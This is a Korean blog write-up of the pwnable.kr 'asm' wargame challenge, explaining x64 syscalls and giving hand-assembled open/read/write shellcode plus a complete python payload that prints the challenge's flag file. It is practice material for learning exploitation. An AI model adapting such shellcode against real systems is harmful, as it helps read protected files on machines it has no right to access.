pwn

pwnable.kr - asm

ray3708 2020. 7. 22. 17:07

해설

Mommy! I think I know how to make shellcodes

 

쉘코드를 만드는 문제이다. asm.c 코드를 보면, open, read, write 시스템 콜만을 사용하여 flag 값을 얻어내라고 되어 있다.

 

x64 쉘코드는 시스템 콜을 syscall 명령어를 통해 사용할 수 있다. syscall은 fast system call을 위한 명령어로, rax 레지스터에 시스템 콜 번호를 넣어주고, rdi, rsi, rdx, r10, r8, r9에 차례대로 인자를 넣어주면 된다.

 

자 이제 대충 어떻게 쉘코드를 짤지 큰그림을 그려보자. flag 파일을 open하고, read해서 메모리에 flag 값을 쓰고, write를 통해 표준 출력에다 뿌려주면 간단하게 끝날 것 같다. 그럼 이대로 x64 어셈을 짜보도록 하자. 참고로 어셈 코딩에는 여러가지 방법이 있고, 일반적으로 nasm을 이용해서 코드를 짜고 테스트해 볼 수 있는데 숙련된 사람들은 그냥 어셈 명령어 바이트를 외워서 코딩하기도하고(미친짓이다) 나는 귀찮아서 그냥 온라인 어셈블러를 썼다.(https://defuse.ca/online-x86-assembler.htm#disassembly) 해당 사이트는 어셈블리 코드를 짜면 이를 바이트로 변환해주고, 혹은 바이트를 입력하면 이를 어셈블리 코드로 디스어셈블 해주는 사이트이다. 간단한 어셈 코딩을 할 때 매우 편리하니까 유용하게 쓸 수 있다.

 

내가 짠 어셈 코드는 다음과 같다.

0:  48 c7 c7 00 41 41 41    mov    rdi,0x41414100
7:  48 c7 c6 00 00 00 00    mov    rsi,0x0
e:  48 c7 c2 00 00 00 00    mov    rdx,0x0
15: 48 c7 c0 02 00 00 00    mov    rax,0x2
1c: 0f 05                   syscall
1e: 49 89 c0                mov    r8,rax
21: 48 89 c7                mov    rdi,rax
24: 48 c7 c6 80 47 41 41    mov    rsi,0x41414780
2b: 48 c7 c2 64 00 00 00    mov    rdx,0x64
32: 48 c7 c0 00 00 00 00    mov    rax,0x0
39: 0f 05                   syscall
3b: 48 c7 c7 01 00 00 00    mov    rdi,0x1
42: 48 c7 c6 80 47 41 41    mov    rsi,0x41414780
49: 48 c7 c2 64 00 00 00    mov    rdx,0x64
50: 48 c7 c0 01 00 00 00    mov    rax,0x1
57: 0f 05                   syscall

첫번째 syscall은 open으로, rdi에 파일 이름이 들어갈 부분의 주소를 넣어주었다. 이 후 rax로 리턴될 fd를 r8에 저장해두고, 그대로 read해서 0x41414780 부분에 flag 값을 저장하도록 했다. 참고로 우리에게 허락된 메모리 공간은 코드를 확인해 보면0x41414000~0x41414FFF 까지, 총 0x1000 만큼이다. 이를 염두에 두고 데이터를 저장하지 않으면 세그폴트가 발생한다. 그리고 마지막으로 write를 통해 표준 출력에 flag를 뿌리도록 했다. open, read, write의 시스템 콜 번호는 각각 2, 0, 1 이다. x86과 x64의 시스템 콜 번호가 다르기 떄문에 유의해야 한다.

 

이렇게 코딩을하고 난 후, 문제에 포함된 stub코드(레지스터를 0으로 초기화 하는 코드이다)와 내 코드를 합쳐서 바이트 수를 확인해 보면 134바이트이다. 파일 이름 문자열을 0x41414100 부분에 저장할 것이기 때문에, 쉘코드 페이로드에 일정 부분 패딩을 더해준 후, 문자열을 넣어주어야 한다. 따라서 0x100 바로 앞인 0xFF, 즉 255 바이트 - 134 바이트 = 122 바이트 만큼의 nop 패딩을 해주고 그 뒤에 파일 문자열을 넣으면 된다. 파일 문자열을 넣을 때 주의할 점은 문자열 뒤에 널 바이트를 넣어주어야 open에서 제대로 c string으로 인식한다는 것이다. 현재는 메모리 공간이 전부 0x90 바이트로 세팅되어 있기 때문에, 확실히 널 바이트를 넣어주어 문자열의 끝을 표시해주어야 한다.

 

따라서 완성된 페이로드는 다음과 같다.

 

python -c 'print "\x48\xC7\xC7\x00\x41\x41\x41\x48\xC7\xC6\x00\x00\x00\x00\x48\xC7\xC2\x00\x00\x00\x00\x48\xC7\xC0\x02\x00\x00\x00\x0F\x05\x49\x89\xC0\x48\x89\xC7\x48\xC7\xC6\x80\x47\x41\x41\x48\xC7\xC2\x64\x00\x00\x00\x48\xC7\xC0\x00\x00\x00\x00\x0F\x05\x48\xC7\xC7\x01\x00\x00\x00\x48\xC7\xC6\x80\x47\x41\x41\x48\xC7\xC2\x64\x00\x00\x00\x48\xC7\xC0\x01\x00\x00\x00\x0F\x05"+ "\x90"*121 + "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong" + \x00'

 

nc에 연결하기전에 로컬에 있는 바이너리에 테스트해보면, 가짜 flag가 잘 출력 되는 것을 확인할 수 있다.

 

원래 쉘코드는 문자열 관련 취약점을 많이 이용하기 때문에 널 바이트 없이 쉘코드를 짜는 편인데, 본 문제는 그러한 경우는 아니기 때문에 신경 쓰지 않았다.